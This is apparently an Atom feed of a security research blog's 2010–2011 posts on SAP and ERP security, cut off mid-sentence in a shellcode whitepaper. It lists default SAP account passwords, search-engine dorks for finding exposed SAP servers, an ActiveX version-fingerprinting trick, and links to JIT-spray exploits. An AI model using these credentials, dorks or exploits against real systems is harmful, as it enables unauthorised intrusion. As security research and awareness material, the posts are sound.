href='http://dsecrg.blogspot.com/2011/01/passthehash-bible-1-attacking.html' title='SMBRelay bible 1: Attacking Enterprise business (ERP)'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-136686086977955743</id><published>2011-01-26T03:07:00.000-08:00</published><updated>2011-02-28T07:17:26.618-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SMB relay'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='SMBRelay bible'/><category scheme='http://www.blogger.com/atom/ns#' term='passthehash'/><title type='text'>New blog section: SMBRelay  Bible</title><content type='html'>This is the first part of our encyclopedia of pass the hash / smbrealy attacks (SMBRelay Bible). The goal of this encyclopedia is to collect all possibilities of obtaining NTLM authentication for conducting SMB-relay attacks or stealing credentials. We are often use those methodologies in different penetration testings and business- application security assessments and decide to collect all this information in one place.  It is very useful area in penetration tests and great example of tactical exploitation methodologies because you don’t need to use any exploit to get full access in corporate network,  just pass and relay!&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;Every week  (or two) we will publish different methods of passing the hash in many systems and applications from doc files to ERP systems and  many other. Some of methods will be old but perfectly described and categorized and ofcause we will publish many previously unknown examples.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-136686086977955743?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/136686086977955743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/01/new-blog-section-passthehash-bible.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/136686086977955743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/136686086977955743'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/01/new-blog-section-passthehash-bible.html' title='New blog section: SMBRelay  Bible'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-2138536468599085263</id><published>2010-12-07T02:39:00.000-08:00</published><updated>2010-12-07T02:42:45.204-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sap'/><category scheme='http://www.blogger.com/atom/ns#' term='sap security'/><title type='text'>SAPGUI Security: support deadlines</title><content type='html'>It is highly recomended to update SAPGUI for latest versions because of Support Deadlines.&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SAP GUI for Windows Support Deadlines&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;6.20: Restricted support applies since 30th of September 2005 (see note 929300 for more information). &lt;span style="font-weight:bold;"&gt;Support for SAP GUI for Windows 6. 20 will end on 31st of December 2010.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;6.40: &lt;span style="font-weight:bold;"&gt;Finished&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;7.10: Up to April 12th, 2011.&lt;br /&gt;&lt;br /&gt;7.20: Up to April 9th, 2013. &lt;br /&gt;&lt;br /&gt;Old versions such as 6.4 may contain vulnerabilities that cannot be patched because support is finished. If you interested what kind of vulnerabilities exist in your installation and how can they harm your company environment you can try free online scanner &lt;a href="http://erpscan.com"&gt;ERPSCAN Online&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Additional information: Support Note 147519 - Maintenance strategy / deadlines 'SAP GUI'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-2138536468599085263?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/2138536468599085263/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2010/12/sapgui-security-support-deadlines.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/2138536468599085263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/2138536468599085263'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2010/12/sapgui-security-support-deadlines.html' title='SAPGUI Security: support deadlines'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-4650511788879819764</id><published>2010-11-13T09:13:00.000-08:00</published><updated>2010-11-19T12:25:55.581-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sap'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='erp'/><category scheme='http://www.blogger.com/atom/ns#' term='sap security'/><title type='text'>SAP Application Server Security essentials: default passwords</title><content type='html'>One of the easiest and most common ways to hack SAP system is to try to connect using default passwords. Some of them are well-known and some are not (for example TMSADM). All users having default passwords are very powerful.&lt;br /&gt;&lt;br /&gt;So if you think that you are great GRC Expert and seeking to secure your SAP environment trying to solve 5-dimensional cross-system SOD conflicts, there are some things you must do right now - CHANGE THESE PASSWORDS!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SAP*:06071992 or PASS&lt;/span&gt;           clients: 000 001 066 and custom  &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;DDIC:19920706&lt;/span&gt;           clients: 000 001 066 and custom    &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SAPCPIC:ADMIN&lt;/span&gt;           clients: 000 001 and custom &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;EARLYWATCH:support&lt;/span&gt;      clients: 066 &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;TMSADM:password&lt;/span&gt;         clients: 000 001 &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;P.S. If you think that this is a well-known problem and everybody has already changed it, you are mistaken. During ALL security assessments each time I see at least one system with those passwords.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-4650511788879819764?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/4650511788879819764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2010/11/sap-aapplication-server-security.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4650511788879819764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4650511788879819764'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2010/11/sap-aapplication-server-security.html' title='SAP Application Server Security essentials: default passwords'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-7867899419242165307</id><published>2010-11-11T10:12:00.000-08:00</published><updated>2010-11-11T10:54:31.264-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sap'/><category scheme='http://www.blogger.com/atom/ns#' term='erp'/><category scheme='http://www.blogger.com/atom/ns#' term='sap security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>SAP Infrastructure security internals: Google and Shodan hacking for SAP</title><content type='html'>There are still some myths abour SAP security for example that SAP applications are avaiable only internally. Here i collected some simple google hacking and shodanhq hacking tricks that can be used to find SAP servers in the internet.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;GOOGLE HACKS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SAP Netweaver abap&lt;br /&gt;&lt;br /&gt;inurl:/sap/bc/bsp&lt;br /&gt;&lt;br /&gt;SAP Netweaver Portal&lt;br /&gt;&lt;br /&gt;inurl:/irj/portal&lt;br /&gt;&lt;br /&gt;SAP ITS&lt;br /&gt;&lt;br /&gt;unurl:/scripts/wgate&lt;br /&gt;unurl:/scripts/wgate/webgui&lt;br /&gt;&lt;br /&gt;SAP BusinessObjects&lt;br /&gt;&lt;br /&gt;inurl:infoviewapp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SHODANHQ HACKS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SAP Web Application Server (ICM)&lt;br /&gt;&lt;br /&gt;SAP NetWeaver Application Server&lt;br /&gt;&lt;br /&gt;SAP Web Application Server&lt;br /&gt;&lt;br /&gt;SAP J2EE Engine&lt;br /&gt;&lt;br /&gt;SAP Internet Graphics Server&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-7867899419242165307?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/7867899419242165307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2010/11/sap-infrastructure-security-internals.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/7867899419242165307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/7867899419242165307'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2010/11/sap-infrastructure-security-internals.html' title='SAP Infrastructure security internals: Google and Shodan hacking for SAP'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-1492265001783154587</id><published>2010-09-30T00:59:00.000-07:00</published><updated>2010-09-30T01:02:32.317-07:00</updated><title type='text'>How to get ActiveX version?</title><content type='html'>&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;We have the idea: make online scanner for SAP ActiveX vulns. So that every user having SAP GUI can test his software and components for vulnerabilities.&lt;span style=""&gt;  &lt;/span&gt;It is easy to implement – just get the version of every component and answer whether a component of this version has vulnerabilities or not. On WWW you can find services that test popular software (QuickTime, Flash Player ActiveX, Acrobat Reader ActiveX) but not SAP. Those services get versions using object properties like this object.GetVersion(). For example for Flash – flashActiveX. GetVariable("$version") returns the version number of installed Flash ActiveX. But in some ActiveX components methods like this do not exist.&lt;span style=""&gt;  &lt;/span&gt;For SAP ActiveX components we cannot get a version number using methods or properties. So what we gonna do? After some research I’ve found the way to determine the version of any ActiveX object. So this is what this post is about 8) &lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;Ok, there’s nothing new, just default functional used for good purposes. For example, how does the browser understand that your ActiveX needs an update? Answer:&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&lt;blockquote&gt;&amp;lt;object classid=’CLSID: 0C0F1283-6027-11D1-B766-00A0C9308BE6’ id=’obj’ codebase=’http://server/get.cab#version=5,5,0,0’&amp;gt;&amp;lt;/object&amp;gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;So if DLL file version is less than 5.5.0.0 then browser makes GET request “’http://server/get.cab” . So we can make ActiveX version scanner.&lt;span style=""&gt;  &lt;/span&gt;For example:&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;...&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;object classid=’CLSID: 0C0C0C0C-1111-1111-1111-00AA00AA00AA’&lt;span style=""&gt;  &lt;/span&gt;id=’obj1’ codebase=’http://server/get.cab?result=no#version=0,0,0,0’&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;/object&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;object classid=’CLSID: 0C0C0C0C-1111-1111-1111-00AA00AA00AA’ id=’obj2’ codebase=’http://server/get.cab?result=4.x.x.x#version=5,0,0,0’&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;/object&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;object classid=’CLSID: 0C0C0C0C-1111-1111-1111-00AA00AA00AA’ &lt;span style=""&gt; &lt;/span&gt;id=’obj3’ codebase=’http://server/get.cab?result=5.0.x.x#version=5,1,0,0’&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;/object&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;object classid=’CLSID: 0C0C0C0C-1111-1111-1111-00AA00AA00AA’ &lt;span style=""&gt; &lt;/span&gt;id=’obj4’ codebase=’http://server/get.cab?result=5.1.x.x #version=5,2,0,0’&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;/object&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;object classid=’CLSID: 0C0C0C0C-1111-1111-1111-00AA00AA00AA’ id=’obj5’ codebase=’http://server/get.cab?result=5.2.0-4.x#version=5,2,5,0’&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;/object&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;object classid=’CLSID: 0C0C0C0C-1111-1111-1111-00AA00AA00AA’ id=’obj6’ codebase=’http://server/get.cab?result=5.2.5.x#version=5,3,0,0’&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;lt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;/object&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="font-family: arial;" class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListParagraph"&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;...&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;If we have 5.2.3.0 version for example in this case we create 4 objects first and then the browser goes for update, and we get the URL: “http://server/get.cab result=5.2.0-4.x”. The last object (obj6) won’t be created cos the browser blocks the other stuff (the same will happen if we have no ActiveX at all, the first GET request will be sent (“http://server/get.cab?result=no”) but 5 following objects will never be parsed and created, and no more GET requests will be sent . So just make get.cab as PHP script that reads the ‘result’ GET parameter. This is my way of detecting the version of ActiveX components without calling methods of an object. Soon (may be next week) you will get SAP GUI scanner based on this idea…&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;Thank you for your attention.&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;Alexey Sintsov &lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;[DSecRG]&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-1492265001783154587?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/1492265001783154587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2010/09/how-to-get-activex-version.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/1492265001783154587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/1492265001783154587'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2010/09/how-to-get-activex-version.html' title='How to get ActiveX version?'/><author><name>asintsov</name><uri>http://www.blogger.com/profile/16563676942164858618</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-5877906531315550016</id><published>2010-09-27T07:45:00.000-07:00</published><updated>2010-09-27T08:32:01.320-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>top 10 trendy topics on security conferences</title><content type='html'>In every industry there are own trends and information security is not exception. here are top 10 (for my opinion) trendy themes from security conferences which was done during last time and mostly those topics are only funny TRENDS not THREADS ) &lt;br /&gt;&lt;br /&gt;1 Cybercrime&lt;br /&gt;2 Security-Sucks&lt;br /&gt;3 Cloud&lt;br /&gt;4 Mobile&lt;br /&gt;5 SCADA/SMART GRID&lt;br /&gt;6 GSM &lt;br /&gt;7 ROP&lt;br /&gt;8 WEB 2.0/ Social networks&lt;br /&gt;9 Social engeneeering&lt;br /&gt;10  put your own opiniom here &lt;br /&gt;&lt;br /&gt;So if your talk at he conference is not about all those things you are not COOL sorry ))&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-5877906531315550016?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/5877906531315550016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2010/09/top-10-trendy-topics-on-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/5877906531315550016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/5877906531315550016'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2010/09/top-10-trendy-topics-on-security.html' title='top 10 trendy topics on security conferences'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-4764688361687884461</id><published>2010-09-01T02:34:00.000-07:00</published><updated>2010-09-01T02:55:30.427-07:00</updated><title type='text'>Chaos Constructions ‘10</title><content type='html'>So, it is high time for some blog-writings.  Some people have shown interest in Russian Security Festivals, that’s why now I’m writing about this. Yesterday I visited the Russian computer scene festival called Chaos Constructions. While Europe and America have many security-related events, Russia has only two events a year:  RuSCrypto and Chaos Constructions (CC) (and I need to say, that CC is not only a security festival, the main idea is a demo-scene, IT security is just a feature).  Anyway CC is the main security conference held in Russia, because there are good technical topics and security competitions (like HackQuest and HackVideo). This year there have been seven talks given on security, and there have been described such topics as - SDRF attacks (Vladimir Voroncov), 0-days in drivers of the most popular AV and IDS software (Nikita Tarakanov), the future of Security Scanners (&lt;a href="http://twitter.com/devteev"&gt;Dmitry Evteev&lt;/a&gt;), HTML5 security (&lt;a href="http://twitter.com/oxdef"&gt;Taras Ivashenko&lt;/a&gt; and Dmitry Sidorov), Fuzzing  (Alexey Troshichev), Win32 exploit mitigations bypass (&lt;a href="http://twitter.com/asintsov"&gt;me&lt;/a&gt;) and SCADA security (Andrey Komarov, who unfortunately couldn’t come to the festival). And the good news is that from year to year our security scene is growing at CC. And moreover an ex-member of our team is one of the CC co-organizers by now for many years.  So the great thing is that our security community is becoming stronger and I hope that in the future we will arrange a good security festival where we can invite guests to from all over the World.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://picasaweb.google.ru/ChaosConstructions/Cc2010?feat=directlink#"&gt;Photos&lt;/a&gt;.&lt;br /&gt;&lt;a href="http://dsecrg.ru/pages/pub/show.php?id=28"&gt;My Presentation&lt;/a&gt; (WARN! - Russian lang.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-4764688361687884461?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/4764688361687884461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2010/09/chaos-constructions-10.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4764688361687884461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4764688361687884461'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2010/09/chaos-constructions-10.html' title='Chaos Constructions ‘10'/><author><name>asintsov</name><uri>http://www.blogger.com/profile/16563676942164858618</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-2256364573305024665</id><published>2010-03-08T09:20:00.000-08:00</published><updated>2010-03-08T09:24:34.748-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sap'/><category scheme='http://www.blogger.com/atom/ns#' term='jit spray'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>first public jit-spray exploits (for SAPGUI and Oracle ODC))</title><content type='html'>As we give much attention on ERP and Business applications security&lt;br /&gt;you can also download new exploits for popular client side Business applications&lt;br /&gt;such as SAP GUI and Oracle Document Capture that use JIT-Spray&lt;br /&gt;Shellcode.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dsecrg.com/files/exploits/SAP-Logon7-System.zip"&gt;SAP GUI 7.10 WebViewer3D ActiveX - JIT-Spray Exploit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dsecrg.com/files/exploits/QuikSoft-reverse.zip"&gt;Oracle Document Capture (EasyMail Objects EMSMTP.DLL 6.0.1) ActiveX Control BOF - JIT-Spray Exploit&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-2256364573305024665?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/2256364573305024665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2010/03/first-public-jit-spray-exploits-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/2256364573305024665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/2256364573305024665'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2010/03/first-public-jit-spray-exploits-for.html' title='first public jit-spray exploits (for SAPGUI and Oracle ODC))'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-5669456788619936417</id><published>2010-03-07T09:11:00.000-08:00</published><updated>2010-03-08T09:25:18.938-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jit spray'/><category scheme='http://www.blogger.com/atom/ns#' term='exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='dep'/><category scheme='http://www.blogger.com/atom/ns#' term='aslr'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='whitepaper'/><title type='text'>Writing JIT-Spray Shellcode for fun and profit</title><content type='html'>In this text we are describe how to write a shellcode for new JIT-Spray attacks and make universal STAGE 0 shellcode&lt;br /&gt;that gives control to any common shellcode from MetaSploit, for example.&lt;br /&gt;&lt;br /&gt;Author: Alexay Sintsov from Digital Security Research Group (dsecrg.com)&lt;br /&gt;&lt;br /&gt;Attacks on clients’ browsers have always been the real threat for everyone.&lt;br /&gt;And here vulnerabilities have been not only in the browser but also in plug-ins.&lt;br /&gt;Bank-clients, business software, antivirus software – all of them use ActiveX (for IE)&lt;br /&gt;for clients and here have been and are still many vulnerabilities.&lt;br /&gt;Vendors make steps to defend us from it. Software vendors patch vulnerabilities and OS vendors&lt;br /&gt;use new mechanisms to prevent attacks at all. But security researchers are trying to find way to bypass 